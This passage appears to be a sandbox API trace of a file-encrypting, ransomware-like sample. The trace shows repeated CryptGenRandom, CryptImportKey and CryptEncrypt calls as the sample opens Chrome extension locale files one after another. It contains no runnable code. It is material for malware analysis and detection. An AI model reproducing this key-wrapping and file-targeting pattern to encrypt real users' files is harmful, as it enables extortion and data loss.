hTemplateFile=0x0) returned 0xffffffff [0235.612] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.617] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.617] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.617] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.620] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.620] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.623] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bef8) returned 1 [0235.623] CryptGetKeyParam (in: hKey=0x659bef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.623] CryptEncrypt (in: hKey=0x659bef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8a60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.623] GetLastError () returned 0x0 [0235.623] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.623] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.625] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bd78) returned 1 [0235.625] CryptGetKeyParam (in: hKey=0x659bd78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.625] CryptEncrypt (in: hKey=0x659bd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8a70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.625] GetLastError () returned 0x0 [0235.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.625] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.626] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.630] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.630] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.630] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.630] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.633] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.633] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.633] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.635] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659baf8) returned 1 [0235.636] CryptGetKeyParam (in: hKey=0x659baf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.636] CryptEncrypt (in: hKey=0x659baf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8a80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.636] GetLastError () returned 0x0 [0235.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.636] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.638] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ba78) returned 1 [0235.638] CryptGetKeyParam (in: hKey=0x659ba78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.638] CryptEncrypt (in: hKey=0x659ba78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8a90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.638] GetLastError () returned 0x0 [0235.638] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.638] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.639] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.644] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.644] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.646] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.647] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.647] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.648] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.650] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bfb8) returned 1 [0235.650] CryptGetKeyParam (in: hKey=0x659bfb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.650] CryptEncrypt (in: hKey=0x659bfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8aa0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8aa0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.650] GetLastError () returned 0x0 [0235.650] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.650] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.652] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c038) returned 1 [0235.652] CryptGetKeyParam (in: hKey=0x659c038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.652] CryptEncrypt (in: hKey=0x659c038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ab0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8ab0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.652] GetLastError () returned 0x0 [0235.652] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.652] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.653] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.657] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.657] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.657] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.660] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.660] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.660] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.660] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.663] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659beb8) returned 1 [0235.663] CryptGetKeyParam (in: hKey=0x659beb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.663] CryptEncrypt (in: hKey=0x659beb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ac0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ac0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.663] GetLastError () returned 0x0 [0235.663] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.663] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.665] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b9f8) returned 1 [0235.665] CryptGetKeyParam (in: hKey=0x659b9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.665] CryptEncrypt (in: hKey=0x659b9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ad0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8ad0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.666] GetLastError () returned 0x0 [0235.666] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.666] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.667] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.671] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.671] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.671] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.673] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.674] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.674] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.677] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bf78) returned 1 [0235.677] CryptGetKeyParam (in: hKey=0x659bf78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.677] CryptEncrypt (in: hKey=0x659bf78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ae0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ae0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.677] GetLastError () returned 0x0 [0235.677] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.677] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.679] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b8f8) returned 1 [0235.679] CryptGetKeyParam (in: hKey=0x659b8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.679] CryptEncrypt (in: hKey=0x659b8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8af0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8af0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.679] GetLastError () returned 0x0 [0235.679] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.679] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.680] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.684] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.687] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.687] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.689] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b978) returned 1 [0235.689] CryptGetKeyParam (in: hKey=0x659b978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.689] CryptEncrypt (in: hKey=0x659b978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8b00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.690] GetLastError () returned 0x0 [0235.690] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.690] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.692] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bbf8) returned 1 [0235.692] CryptGetKeyParam (in: hKey=0x659bbf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.692] CryptEncrypt (in: hKey=0x659bbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8b10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.692] GetLastError () returned 0x0 [0235.692] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.692] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.693] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.698] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.698] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.698] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.702] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.702] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.704] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b9b8) returned 1 [0235.704] CryptGetKeyParam (in: hKey=0x659b9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.704] CryptEncrypt (in: hKey=0x659b9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8b20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.705] GetLastError () returned 0x0 [0235.705] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.705] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.707] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bc78) returned 1 [0235.707] CryptGetKeyParam (in: hKey=0x659bc78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.707] CryptEncrypt (in: hKey=0x659bc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8b30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8b30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.708] GetLastError () returned 0x0 [0235.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.709] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.713] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.715] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.715] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.715] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.715] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, 